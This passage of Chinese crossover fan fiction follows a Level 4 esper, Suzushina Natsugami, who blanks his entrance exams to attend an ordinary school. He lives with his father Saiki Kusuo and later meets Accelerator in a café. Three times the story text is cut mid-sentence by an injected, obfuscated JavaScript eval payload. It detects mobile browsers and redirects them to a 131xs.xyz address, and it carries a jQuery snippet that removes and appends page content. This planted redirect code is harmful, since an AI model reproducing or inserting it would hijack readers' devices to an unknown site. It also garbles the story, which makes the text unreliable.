《某科学的万能通行》 1. 第一章 今年二月的学园都市,总有下不完的雨。 窗外天光惨淡,闷雷滚滚,衬得满世界一片灰暗。 唯有教室内一盏一盏的白炽灯,明晃晃、亮堂堂的。 然而就算倾盆大雨降下,也未曾减缓半点持续了整日的纠缠不休的憋闷感。 有人着急忙慌,埋头奋笔疾书。 有人心神不宁,频繁翻阅试卷。 而所有的焦灼与烦躁,伴随着铃声响起,通通戛然而止。 【考试结束时间到,请考生停止作答,静坐等候监考员收齐答题纸、考员、草稿纸后方可离开考场。】 铃科夏上在考场提示音中懒懒地掀开眼皮,扣在泛黄桌面上的手指微微蜷曲,用力将自己支撑起来。监考老师走到他面前的时候,他总算化开因为困倦而有几分丝丝凉意的神气儿,赤红色的瞳孔也慢慢亮起来,像是被白炽灯漆了一层釉光。 前桌的灰吕松刚被收了卷子就回头准备发泄自己憋了两小时的郁闷,瞅了一眼,倒吸一口凉气,“不是吧大哥,这你也交白卷?” 后桌的黑发少年模糊地“嗯”出一声,没精打采地盖上笔帽,开始收拾文具。 “哈?”灰吕不可思议地一声吼,考试结束陷入群魔乱舞状态的教室顷刻间就安静下来。 “这可是一般入试,事关能不能考上五大名校之一的「长点上机」学园,值此生死存亡之际,你居然交白卷??” 学生时代大家身边总有些牛逼哄哄的尖子生,因为未逢敌手,常年立于不败之巅,生活过于寂寞无聊,就不免要人造些挑战,好给这无敌的人生添加一点风险与刺激。 铃科夏上这种每次考试随机一门交白卷,还能稳定前十的非人类,很明显就是那种关键时刻给自己使绊子,增加人生乐趣的强者。 “果然,铃科放弃推荐考入,原来是为了更好的开始。” “铃科努力考低分的样子像极了拼命生活的我,太励志了。” “交白卷?爷青回。” 同校的考生被铃科夏上死不悔改、从一而终的魄力感动到了,兴致勃勃地的等待放榜日铃科夏上的成功装逼。他校的虽然听了个稀里糊涂,但准确认识到铃科夏上是个大佬,为自己又少了一个录取名额扼腕叹息。 而风暴中心的当事人则“哗”一声拉上外套的拉链,平静地补充道:“所有门科,我都交了白卷。” - 他说得风轻云淡,听者心中惊涛骇浪。 灰吕松肚肠里那块五千秤的小草原不知呼啸过多少匹草泥马。 「长点上机」学园作为学园都市五大名校之首,不仅是能力开发领域的龙头,更因为其会充分考虑能力以外的其他才能的理念,一直是全学园都市国中生向往的最佳学府。 上至大能力者,下至无能力者,都为了能够就读于这所高校而拼命努力地突破长点上机学园地狱级严苛的入学选拔。 每年冲刺期,各大医院都会接诊几十名过度学习倒下的国中生,其中九成人的志愿是「长点上机」学园。 放榜后还总要有几个落榜的闹跳楼。 然后公认一定能入学的天才级别选手说他不想参赛。 是人吗??? 对得起他们被题海蹂躏的心吗? 众人怒。 人可以考不上名校,但人不可以被降维打击。 对此,铃科夏上也给出了理由,“我不想去长点上机,对于我而言,我只想去个很没个性、极其一般的不知名普通高中。” 众人:…… 还不如不解释呢! 被辜负的才华不想要可以捐给别人。 不爽,想锤人。 但是对方是lv4的大能力者。 众人各自捏紧了拳头,在简单地进行一番战力分析后,遏制住原始本能,松开手。 身怀才学却不好好利用的主人公完全没有装杯遭人扁的自觉,站在廊檐下自顾自地在书包里搜刮出折叠雨伞,尔后抖了抖,在漫天大雨中撑开一小片天地。 - “我回来了。”钥匙转了两圈才打开门,夏上紧接着随手拧开玄关的壁灯,脱了鞋。鞋柜里整齐新码着好几双古旧的男士皮鞋和一双黑色高跟鞋,风格显得完全不同。 爷爷奶奶来了。 与此同时,他注意到鞋架下属于父亲的拖鞋已经不见踪影。 刚趿拉上一只鞋,客厅方向就传来一阵“咚咚咚”的兴奋脚步声,节奏欢快,如同草原上莽撞的羚羊,夏上刚把包挂好,就收获了他爷爷齐木国春过分热情的熊抱:“欢迎回来,我们家最乖最好最可爱的小熊夏夏。” 过长的昵称和肉麻的口吻成功抖出夏上一身鸡皮疙瘩。 小熊夏夏的名字还是他躺在婴儿车里口水流得像个脑瘫的时候,海藤给他起的。 “哇,好安静的小团子。卡哇伊~像头熊类幼崽。”据说中二永不毕业的海藤被松松软软的奶包娃娃甜蜜暴击,突然就毕业了,双眼放光地脸露一点红晕,敲定了那个追随夏上一生的乳名,“就叫小熊夏夏吧。” 哪有这么长的乳名? 关键是有绝对裁决权的他爸居然不反对,并且在十几年间屡次使用暴力镇压的手法,强行让夏上接受了这个肉麻兮兮的名字。 不过还好不叫什么命运审判者,听说海藤叫他爸狂暴嗜血者的时候,夏上笑得灰吕以为他突发癫痫。 比起随意的小名,夏上的大名更随意——因为是在夏天出生。 而这与齐木全家格格不入的姓氏更是离谱,小时候不知缘由的夏上曾经天真无知地问过:“我为什么姓铃科呢?” 他爸回答:「因为你妈姓铃科。」 “为什么我妈姓铃科,我就要姓铃科呢?” 他奶奶就笑眯眯地开口了,留下了震碎小朋友三观的简单粗暴的“希望家里不要再全是齐木姓”的奇葩理由。 夏上不死心,“那我妈呢?” 「我们早就离婚了。」齐木楠雄可疑地沉思了一下,「在你刚出生后没多久。」 早就猜到答案的小朋友醉温之意不在酒:“那为什么不给我改姓?” 「麻烦。」 言简意赅,连起来不难理解,但放到这个语境中难免让人捉摸不透:他爸八百年前就和他妈分了手,居然还让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088922|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩跟母姓,啊这…… 掰开紧箍着身体的爱的铁钳,推开国春先生爱的亲亲,夏上飞快地窜进餐厅,最先注意到那团惹眼的粉毛和两根电线发卡。 “爸。”他叫了一声。 「嗯。」 他的父亲,齐木楠雄果然又独自坐在餐桌前吸溜小鹿家的手工甜点,一份百吃不腻的咖啡果冻。过分滑腻的口感甚至能够让那张死板的扑克脸面露不协调的幸福神情,就连平整瘦削的脸颊都因此生动地鼓起来。 吃甜点永远是顺位第一的事——比起劳累一天后必要的营养摄入,作为个人嗜好调节紧迫生活节奏的天平对齐木楠雄的吸引力显然更大。 毫不怀疑,就算是世界末日,这人也一定先来口咖啡果冻。 毕竟这是扑克脸男人除了繁忙工作和日复一日的普通生活外唯一的乐趣。 齐木楠雄今天下班挺早。 夏上扫了眼墙角的垃圾桶,下了定论:充足的享用甜品时间使得他的肚子里已经有一份咖啡果冻,现在享用的是第二份。 久留美把煎好的牛排端过来,笑眯眯地招呼夏上坐下吃饭,先前还温柔地说着我们夏夏又壮了,奶奶很想你,转头就叉腰数落儿子:“嘛,小楠你也真是的,妈妈和爸爸要是今天不来,厨房里的灶台一定是比脸还干净。说了好久啦,不要总让夏夏自己做简单的饭团便当,虽然方便但是营养不均衡啊。” 他爸投入地咀嚼美味,含含糊糊地应下表示自己知道了。 「外卖随便点,钱不够和我说。」 “……”低头吃饭的夏上险些没被噎住,有被他爸的“全力支持”感动到。 奶奶根本不是这个意思好吧? 久留美揭开锅盖盛鸡汤的时候,齐木楠雄慢条斯理地咽下最后一块咖啡果冻,收敛住空气中漂浮的粉红泡泡,恢复了一板一眼的严肃神情,终于有了点父亲的模样。 「中心试验考得如何?」 中心试验又叫“大学入试中心考试”,是针对高中生升学而设置的选拔考试,全国统一卷。 “啊?”夏上没反应过来,他有些犹豫自己的父亲是不是记错了。 神经碗口那么大的笨蛋夫妇坐在餐桌对面热情地互相盛汤,大秀恩爱,闻言,久留美女士和国春先生都放下了手中的“当务之急”,露出了期待的神色,双眼放光地注视着家中唯一的未成年人:“夏夏打算申请什么样的大学?” 夏上:“???” 当看到齐木楠雄丝毫没觉得哪里不对的样子后,夏上旋即豁然开朗,生无可恋。 太真实了。不知道自家孩子上几年级可还行,亲生的。 生活不易,夏上叹气:“爸,爷爷奶奶,我还只是个初中生,刚考完长点上机学园的一般入试。” 「……」 “……” 原本算得上热闹的家庭氛围瞬间冷却,陷入尴尬的境地。 齐木楠雄又刻意地沉思了一下,最后很不当人地回应道:「抱歉,我以为你已经能干到可以跳级的程度了。」 夏上:“……” 谢谢您的高估,但是看起来更像是找的借口。 2. 第二章 吃完饭,送走那对笨蛋夫妇,夏上就去洗澡了,外面下雨,他的裤脚上粘了不少泥水,裸露在外的脚踝也好不到哪里去。 齐木楠雄用念力洗碗,水开的哗啦啦响。 他撑着手,支在水槽两边,盯着好似活物般把自己擦得亮净净、光溜溜的白瓷盘子。 一晃好像十几年就过去了。孩子都长这么快吗? 齐木楠雄还记得晚上小夏上在婴儿床上哭得撕心裂肺,好像有谁拿着把刀架在他脖子上的案发现场,也记得自己顶着厚重的黑眼圈麻木地爬起来泡奶粉,安慰这过分闹腾,闹腾得让他怀疑人生的小“作精”。 转眼间夏上就从一个小肉团子窜成了小大人,都快齐到他眉了。 脸也有点长开,除了久留美隔代遗传而来的黑发,不管是那双红色眼睛,还是轮廓和五官,都长得双亲的另一方越来越像,几乎是一个模子刻出来的。 自己这个当爸爸的,基因大概是喂了狗吧。 这诡异相似度甚至叫齐木楠雄在被夏上凝视的时候有了瞬间的晃神,将其错认成了白发故人,让他想起某段相似的场景,回忆中「中心试验考得如何」的熟悉台词几乎是脱口而出。 记忆这种东西啊,就是一旦根植就再难忽视,只会在日复一日的时间灌溉中越来越清晰。 然后他在夏上眼中就成了连亲生儿子年龄都不关心的不负责父亲。 开玩笑,他当然清楚夏上的年龄:距离十四周岁还有九十六天十五小时三十七分二十三秒,二十二秒、二十一秒、二十秒……精确到秒:) 齐木楠雄将盘子沥干,夏上也顶着块毛巾浑身湿气地从浴室里走出来,此时墙上的时钟已经悄然指向了十点。 「把头发吹干再睡。」 人影没有动,夏上说:“我今天交了白卷。” 「……」意料之外的答案,但齐木楠雄还是点点头,「你有什么心仪的学校吗?」 “打算去爸爸的母校。”夏上躬身用干毛巾擦着头发,回答。 那是一所再普通不过的高级中学,普通到全校都没几个lv3。 优秀的儿子放弃重点高中,疑似自甘堕落,这放在任何一个家庭里都是无法容忍的事,但父亲齐木楠雄仍旧是那副看不清望不明的扑克脸,似乎永远处在冰冻的状态,任何事都无法让他动容。 「理由?」 夏上说:“我想成为一个普通的高中生,仅此而已。” 「……」 “可以吗?爸爸?” 说完,黑发少年俏皮地眨巴眨巴眼睛,内心却颇为忐忑地等待着来自父亲的建议,对面并没有传来反对的声音,意料之中的提出了合理的质疑。 「lv4的身份太惹人注目了,就算是去普通高中也是一样。」 方才还感叹儿子和自己没有丝毫相似之处的齐木楠雄顿时一个头两个大,为什么偏偏是扮猪这点随了他啊? 虽然这所高中因为也是上条当麻母校的原因,现在已经被当做lv0们的朝圣之地,接受来自各个学区的lv0们的巡礼。近年来,学校也更侧重于培养普通人才,在能力者的开发方面倒不是很积极。 但lv4在学园都市本身就是极少数的存在,就是在这样的环境中,不俗的身份也势必会成为周围人的谈资。 “嗯,我明白。”夏上回答,“选择普通高中只是第一步。” “作为这所高中出色的第一位,势必会有人因为各种原因前来挑战,只要入校后,我故意输几次,让自己变得名不符其实,很快就会变得泯然众人。” 「如果人人对你敬而远之呢?」 “不会的。只要不是最强,不是碾压一切的Level6(绝对能力者),哪怕是lv5,哪怕是学园都市的第一位,都会有无知者向其发动无谓的争斗,妄图将其拉下神坛,何况是区区大能力者。” 那双赤红色的眼眸认真地看向齐木。 同样敏锐地察觉到人们隐秘存在的侥幸心理,另一个人想方设法为了让自己无敌,不顾一切地参与绝对能力者计划,花了好多年才从杀死一万个御坂妹妹的阴影中走出来,夏上却希望自己成为最弱——表面上两个人好像走了完全相反的道路,实际背后所付出的惨烈代价却是可预见的相似。 这傻孩子大概不知道,当年lv0的上条当麻打败学园都市第一位的消息传出后,到底有多少毫无自知之明的人一哄而上,试图以凡人之躯弑神。 发誓成为最弱的夏上要被伤害到怎样的遍体鳞伤才能被人们所认可呢? “要是在长点上机学园,我的计划说不定会落空,但是在能力者稀少的普通高中,意识不到等级差距的人们绝对会。”夏上挑起眉梢继续分析着,“倒不如说是普通高中的环境更能让我成为一名普通人……” 「你就这么想变普通吗?」 “那当然!”夏上忍不住抬高音量,很是憧憬。 相较于普通父母,齐木楠雄其实并没有多少探究其背后根源的欲望。面对已经下定决心的儿子,他颇为无奈地叹了口气。 在夏上的整个成长期间,对于他所做的任何选择,齐木楠雄永远善解人意地提供尊重和支持,这次当然也是一样,他稍稍抬了抬下巴,「那你自己决定吧。」 他揉揉少年的湿漉漉的脑袋。 「早点睡,就算明天放假也别太赖床。」 “赖床什么的,我又不是小孩子了。”突然被摸头杀的夏上微微一怔,红着脸嘀咕道,“况且之前和海藤叔叔说好,放春假后去他店里帮忙,我明天肯定起得比你早。” 话音刚落他就后悔了。 原本已经一只脚迈进浴室的他爸忽然转过头来,满脸“还有这等好事”的蜜汁表情。 「晚上回来帮我带一打咖啡果冻。」 「小鹿甜品店家,每日限定二十份,就在海藤咖啡店的隔壁。」 夏上:“……”他爸果然就是个咖啡果冻人柱力。 他在刚记事时就已经接受了这个事实,现在倒不至于惊讶咖啡果冻的超凡地位,但无语还是有的。 - 半夜夏上起来上厕所,迷糊间瞧见有微光从他爸的房间门缝中溜出。他懵懵地站了会儿,就晃晃悠悠地去厨房,把冰箱里的晚饭热了送去给他爸当夜宵。 他爸是个研究员,经常录数据录到凌晨一点多。 不过别听这职业的称号高大上,在学园都市,扔一块板砖砸十个成年人,九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088923|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个是研究员,剩下那个是研究员助理。 齐木楠雄的办公桌算得上整洁,哪怕零散地摆放了许多文件和显示器,也有一种微妙的和谐感,桌角插着几支笔的笔筒旁边,立着一只相框,是这个曾经的三口之家唯一的合照。 男主人齐木楠雄抱着襁褓中的笑得像傻子的小夏上,依旧是雷打不动的扑克脸,旁边的白发红眸的女人温润和蔼地微笑。 那是他妈,名叫铃科百合子。 夏上没见过他妈。 这个名字像是个没有实体的虚拟符号般,成为童年夏上对于母亲这个称谓的唯一认知。虽然久留美常吹他父母是神仙爱情,但离婚后的铃科女士却消失地无影无踪,只留下了一叠履历作为存储档案保管在学园都市庞大的数据库中。 两人间的恩怨情仇似乎更为扑朔迷离。 夏上不知道父母为什么走到一起,又为什么选择分开,但单就这张合照而言,不说是郎才女貌,也是很有夫妻相的。 十三四岁的少年正是长身体的时候,夏上的个子窜得飞快,几乎是同龄人里长得最快最高的了,往坐着的齐木楠雄旁边一杵,像个小巨人。他把附赠的那份热牛奶也端过去,台灯下拉长的人影映在纸质资料上,挡了大片的光。 “爸。” “爸!” 「……嗯?」 “夜宵。” 顶着黑眼圈的齐木楠雄抬起头来望着他,眼神空空的,半晌,才重新聚焦,后知后觉地说了声谢谢。 夏上没接话,突然鬼使神差地开口问:“我是不是越来越像她了?” 「谁?」 虽然这么说,但齐木楠雄并不像是若无其事的样子,原本就只能算作是平滑的唇梢弧度微妙地压了下去。 “妈妈。”夏上说出了那个答案,“我长得越来越像她了吧?” 何止是像,做母亲的她给与夏上的实在是太多了。 夏上这浑身上下的零部件,几乎是完美复刻了铃科百合子的五官特征。 照着镜子学她微微笑的样子,更像了。 齐木楠雄手里还点着一份资料,闻言下意识地看向照片,「毕竟有血缘关系,两者相似很正常。」 又是这种不着重点的冷静语调,又在装傻。 夏上笃定他的父亲心里正盘算着如何糊弄过去。 他说:“爸,你发自内心地将这看做一件再寻常不过的事吗?别想着避而不谈,我都知道的。” 「为什么突然这么问?」 “你眼神不对。” 压低了的沙哑嗓音略微有些颤抖,竟与记忆中熟悉的部分重叠,出奇的像一方通行。齐木楠雄注视着那双睁圆了的红色眼眸,少年不留余地的逼问着,“你总是能透过我寻找到她的影子,对吧?” 齐木楠雄僵住,没有咖啡果冻作为加班的慰藉,也一下子清醒了。 “你还喜欢她吗?”小孩儿问。 齐木楠雄现在有些后怕地想,还好这孩子没随出一头白毛,不然他还真不知道自己会不会失控。 被称为永远冷静的扑克脸快绷不住了。 当那张万年不变面容裂开一丝缝隙的时候,夏上知道,自己戳到父亲的痛处了。 3. 第三章 我长得越来越像她了吧? 言外之意:你总是能透过我寻找到她的影子,对吧? 你还喜欢她吗? 言外之意:为什么这么多年彼此之间都没有音讯呢? “你这问得也太直接了。” 海藤磨咖啡的手一抖,险些没把夏上刚刚打扫干净的地面破坏了,他瞪大了湛蓝的眼珠子,几乎是在颤抖了。 正常人当不了两秒,他就开始中二病发言: “汝居然敢挑战齐木,那可是曾经与吾一起抵抗秘密结社DarkReunion的盟友狂暴嗜血者。” JudgementKnightOf! JudgementKnightOf! JudgementKnightOf!—— 从他说话起就一直响着这样奇怪的音乐。 中二病不只是初高中生的专属,至今未毕业的海藤是个很好的论例。 夏上把拖把归进工具间,出来洗手,海藤也神经兮兮地凑过来,倚着水池,八卦得很,非要听个明白,“呐呐呐,齐木怎么说?” “能怎么说?”夏上磨牙。 海藤满色凝重地攥紧了咖啡杯,“他又用那招了?那可是对抗秘密结社的「人类甄别计划」的杀手锏招式。” 每当齐木被自家儿子问住的时候,他就会用一种黏糊糊的口吻亲昵地喊“小熊夏夏”。 昨天就是这样。 别人的“逃跑”是撤退,他爸的“逃跑”是攻击。 找借口跳过这个话题就算了,催他睡觉也算了,偏偏要腻腻歪歪。 夏上当场被雷得外焦里嫩,鸡皮疙瘩掉了一地。头也不回,飞快地闪回自己的房间去,早上饭也没吃,直接来投奔他海藤叔了。 他又不是小孩子了。夏上想。 听爷爷奶奶叫还能忍,那是习惯了,他俩就那个欢脱的性格,但是他爸叫起来就不一样了。 你能想象冰山脸性冷淡这么喊人吗? 阳间人做阴间事,听起来阴阳怪气的。 “能让身为漆黑魔法使的汝缴械投降的,也只有了。”海藤郑重分析,“还好吾按照圣书的公式在狂暴嗜血者周身设下了咒语屏障,不然汝非死即伤。” 又在添加什么漆黑之翼的新设定?别擅自取名啊。 而且你再怎么在社交通讯器上发乱码给我爸也是没用的。不出意料,他可能第二天就把你拉黑了。 而且说得好像这个诡异的小名和你没关系一样。 夏上腹诽着,嘴上却很是配合,“谢谢叔。” “叫我master!” “谢谢master。” 夏上抗议到一半,他把玻璃杯擦擦撂到铁架子上,突然心念一转,“叔和我爸不是高中同学么?” “昂。”他叔很没心机的落网了。 他就乘胜追击:“叔也见过我妈吧?” 海藤先是一愣,随后目光游移:“嗯……没、没见过。” 这也太心虚了吧?没见过?那就是见过。 夏上指着自己的面庞,努力学习相片上的笑容,问得很陈词滥调,“像不像?” “不像。”这次海藤很笃定。 夏上抽抽嘴,伸手去扯海藤的脸颊肉,“好啊你果然认识。”他海藤叔性情烂漫,他也跟他混得没大没小。 海藤被他扯得胡咧咧:“那点事儿夏夏你不是都知道吗?” 家里放着“铃科百合子”的旧资料,从出生年份到就读学校,从学历学位到工作岗位,很全。 但最后都戛然而止在他们离婚的那一年。 夏上从小到大偷偷翻看过很多次,母亲留给他的想象空间很贫乏,母亲留下的疑惑又无人解答,他实在没什么要问的。 也是。 他妈那么多年都没回来看过他,也没回来看过他爸……他在想什么,他爸在想什么那也只能叫自娱自乐,还有什么好追根究底的呢? “算了。”铃科夏上吸吸鼻子侧过身低头铲豆子,“不重要。” 海藤认真地看着眼前这个孩子。 跟照片不像,跟本尊像。 他不可避免地回想起那个秋天,一个白发少年孤零零地站在废墟里。很多年过去,那个曾经让他恨得目眦尽裂要想记一辈子的场面,却渐渐连轮廓都变得模糊。 兜里的手机震了震。 海藤掏出来一看,是齐木楠雄。 半天过去,这个嘴硬心软的神终于打算来旁敲侧击问问儿子的情况。 漆黑之翼:比你熟练。 漆黑之翼:有了夏夏我觉得我今天营业额要破万。 那边[狂暴嗜血者]“正在输入中”的标识跳了又停,停了又跳。 最后接连弹出两条消息。 狂暴嗜血者:咖啡店经营压力这么大? 狂暴嗜血者:你让他回家吧。 海藤内心惨叫。 “正在输入中”又跳了一会儿。 狂暴嗜血者:跟他说中午吃水煮鱼。 漆黑之翼:补偿? 海藤想了想,输入了自己今天最像个成年人的话。 漆黑之翼:我觉得夏夏需要妈妈。 我不要你觉得,我要我觉得。 狂暴嗜血者头上的输入图标不再狂跳,而是干脆利落地下线了,也不知道有没有看到海藤的短信。 “叔,牛奶放哪儿了?”夏上在后厨里喊他。 “在右边第三层第三格啊!”海藤收起手机,一边加大音量,一边往那边走。 “哪儿?”夏上没听见。 海藤扯起嗓子:“在右边第三层第三格啊!” “右边第三层……然后呢?” “第三格!” “哦!” 海藤心里建立起一条鄙视链:他>夏上>齐木。 他得意地笑着,解开手上缠绕的红色绷带,“科科,是时候大干一场了——” 然后下一秒就被红色绷带绊住脚垂直砸向地面。 闻声赶来的夏上沉默地看着撒了一地的咖啡豆和撅着屁股手忙脚乱收拾残局的海藤,一面陷入了为什么这家店还没倒闭的迷惑中,一面认命地帮忙打扫。 还没安静两秒钟,“叮铃——”一声,海藤又冲了出去,顺便踢翻了垃圾桶。 被垃圾桶打出两点血附加伤害的夏上:“……” “欢迎光临暗影咖啡厅!”大脚趾遭到了致命打击,痛的五官扭曲的海藤努力营业。 暗黑系饰品装点的玻璃门被推开。 与此同时,安装有自动感应器的潘多拉魔盒打开,伴随着“桀桀”的笑声,带着面具的弹簧小丑冲到了来人的脸庞。 那是个白发的男人,红色的眼眸隐匿在发丝之间。 他身体瘦弱,穿着单薄的白T,纤细的脖颈上扣着黑色不知名的项圈,整个人微微依靠着一只现代风的拐杖,看起来像个坚强自立的残疾人。 他的身边跟着个看起来不过十岁左右的孩子。 棕色的短发,身上穿着齐膝的蓝白格子连衣裙,打扮得很精致的小姑娘正睁大了那双灵动的眼睛,好奇地四下张望,“呐呐呐,一方一方这家咖啡店的格局好奇怪啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088924|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,头一次见到这种装修风格的。虽然御坂御坂觉得很奇怪,但是这依旧阻挡不了和一方一起喝咖啡的好心情~” “是吗,托你的福,我现在心情很不好。” 被称为一方的男人回嘴讽刺道,顺手捂住小丑张大了要喷点什么东西的大嘴。 “欸~怎么这样!”最终之作瞪大了眼睛,插着腰,小跑着追上去,“虽然早已习惯一方说话的方式,但还是有些许悲伤,御坂御坂装出气势汹汹的样子,希望一方认识到御坂的诉求。” 可惜她个子实在是太小,一方拍了拍她的脑袋,小姑娘就垫不住脚了。 一个孩子气的吵吵闹闹,一个虽然只是偶尔搭腔,时不时泼点冷水,但总体还是很耐心地照顾着对方的情绪,这两个人,有种监护人与未成年人的奇妙既视感。 奇怪的店名和更奇怪的店内装修使得学园都市的第一位有了“该不该进店”的迟疑。 权衡之下,他最终还是走向了收银台。 如果咖啡绝佳的话,这些碍眼的装饰是可以勉强忽略的。 “一杯……” 然而不等他说完,眼前扮演店主角色的蓝毛便猛地一激灵,突然捂住了自己的手臂,浑身剧烈地颤抖起来。 “手抽筋了吗?”小姑娘担心地问道。 “呵呵呵,既然被你们看到吾的真身……”海藤低头扯着嘴角,解开绷带的同时捂住自己的眼睛,“汝可知,吾的真实身份乃漆黑之翼,这里表面上是咖啡厅,实际上是与DarkReunion作抗衡的秘密大本营……” 他朝天比划出一个复杂的结印手势,像是召唤什么东西一样,“有缘人啊,就让汝看看吾之秘笈——” “出现吧,恶魔名单!” 静—— “这是什么?”一方通行问,“点餐附加的艺术表演?” 捂住双眼的海藤蜷缩起了脚趾:“……” 然后开始摸摸台面,摸摸洗水池,摸摸74年生产的咖啡机,摸摸夏上刚洗的玻璃杯。 很忙。 长时间的尴尬沉默后,白发男人凉薄地掀了掀嘴皮子,“然后呢?” 海藤:“……” 他没招了。 从后厨出来的夏上正巧撞上他叔犯病,还是最尴尬的时候。 这家店客流量很少,就是因为他叔在这条赛道实在太努力。他不满足于正常的上餐流程,声称要竭力表现出一种让客人倍感尊荣的仪式感——迎宾小丑就是最好的佐证。 呀嘞呀嘞,这是又忘记自己把菜单放哪儿了吧。小朋友忍不住无奈叹气,手指动了动。 「坐标移动」。 这是夏上的能力,不需要碰触便可将指定坐标上的指定物移动另一坐标点。 海藤原本空空如也的手中突然出现了菜单。 别说,他叔这么大了还在当老中二病,离毕业越来越远,有一半是他爸的责任。 当然,另一半就是他。 可奇怪的是,这次他叔竟然没有再沉溺于自己的世界里喜笑颜开。反而是顺势一拱,把夏上推到前台。 夏上赶紧临阵磨枪:“请问您需要点些什么?” “一杯黑咖啡。”白发男人歪过头来看向夏上,微长的刘海滑过额角,露出他被遮去的真实面容。与精致的五官大相径庭的是,隐匿在发丝间的猩红眸子却透露出一种不容置喙的压迫感,锋芒毕露。 虽然未曾微笑,气质也大不相同,但还是引起强烈又微妙的熟悉感。有那么一瞬间,夏上以为他爸办公桌上的全家福活了。 小朋友忍不住一哆嗦:“妈妈?” 4. 第四章 对于一方通行而言,今天发生了两件大事:作为学园都市的理事长受邀来长点上机学园当面试主考官,因为整条街的咖啡自动贩售机全部售罄而不得不进入了奇怪的手磨咖啡厅;在第一件事的基础上,被看起来是初中生实际上肯定是初中生的陌生小孩当街叫妈。 额上青筋一跳,学园都市第一位兼统括理事会理事长的一方通行一时默然。 海藤觉得自己的满级账号漆黑之翼遭到了不可逆转的巨大伤害,说话几乎是飘着说的,中二病也不犯了:“啊啊啊你你你你……为为为为什么……突突突突然……” 而且对面……对面可是那个—— 一方通行啊。 这也太勇了。 海藤在心里默默将他和夏上的序列掉了个个儿。 夏上>他>齐木。 铃科夏上被海藤摁着脑袋鞠躬,稀里糊涂地跟着道歉,但他满脑子都是白发男人的脸。那张面容同照片上的人形不断重叠又分开。 从眉眼到下颚弧度,像,哪哪儿都像,又……哪儿哪儿都有不像的。 中午的太阳暖融融的,透过落地窗照进来,映在柜台上。夏上盯着近在咫尺的金色,脑子也融成一团浆糊。某个疯长的念头在他脑袋里肆意地横冲直撞。 他觉得现在的自己比说话不过脑子的时候更不清醒。 生长痛突然搞得他膝盖骨有点儿刺疼。 他像只罐身挂满水珠的汽水,汗涔涔地精神出走着。 “夏夏?夏夏?”海藤扯扯少年衣角,小声呼唤着。 后者茫然地抬起眼眸,目光空空地盯着他发呆。那双红色的瞳孔像是未抛光的红色海玻璃,雾蒙蒙的。茫然中似乎还涌动着委屈和纠结。 “!!!”海藤靠谱本成年人的细胞突然觉醒,他转朝另一对红色的眼眸,“是这样的,为表歉意,上一秒我们决定您为本店今日幸运客人,买一送一,这边会给您出单两杯咖啡呢亲亲。外带还是堂食?” “不用,一杯就行。” 一方通行快速计算了下身体对咖啡的需求量,他摁住太过于活蹦乱跳的最后之作,淡漠地递出纸币,“我也不是特别在意这种事。” 他目光一转,锁定了靠窗的某个位置。 就在海藤以为自己处理好危机,忍不住长舒一口气的时候,白发男人像是想起什么般又回过头。 “那个小屁孩,你多大了?” 夏上被问的一愣,没反应过来:“快上高中了。” “啧。”于是原本点着桌面的修长手指便转移了攻击对象,白发男人掏出手机开始报警。 “喂,黄泉川吗,未成年人保护法是干什么吃的?这里有人雇佣童工。” 海藤:“?” - 独立于日本政府自卫队及警视厅,与风纪委员(judgment)相互牵制,直属于学院都市的治安维护机构,其名为—— “我说啊,警备员的警力不是这么乱用的吧,要不是看在黄泉川队长和姐姐大人的面子,我可是完全不会受理的。”尖利的女音破空响起,茶色双马尾的女性突然现身在原本空无一人的地方。 麻烦的人出现了。 并且一出现就带来了令人不爽的指控,“为什么会有人大中午的来喝咖啡啊?现在才十一点欸。” 未曾挂断电话的一方通行语塞:“……为什么派这家伙来啊?” “没办法啊。”另一头的黄泉川叹了口气,明明是在诉苦,可怎么听都像是看热闹不嫌事大的优哉游哉,“谁让警备员队伍里大多都是无能力者呢,一时半会儿也没办法从本部快速赶到现场解救未成年啊。正好黑子她在附近街道惩治罪犯,所以就……理事长大人要是觉得不顺眼的话,麻烦也批准送几个有趣的能力者来……” “不过成年能力者的首选可基本都是社区保卫部啊,你得明白现状嘛。” 社区保卫部是学园都市近五年才开始施行的新管理机构。里面全是志愿维护秩序的成年能力者,以其工作单位为中心,协助管理方圆一公里内的区域,以实现应对突然情况的快速调动。 虽然经常随机组队,但训练有素,会由最高等级的能力者担任临时指挥官。 但这毕竟是一种突发事件的临时调动,于是只有少数像白井黑子这种纯粹热爱,愿意将执法当作本职工作的才会选择警备部。 “……”一方通行面无表情地掐掉电话,将目光重新放到不速之客身上。 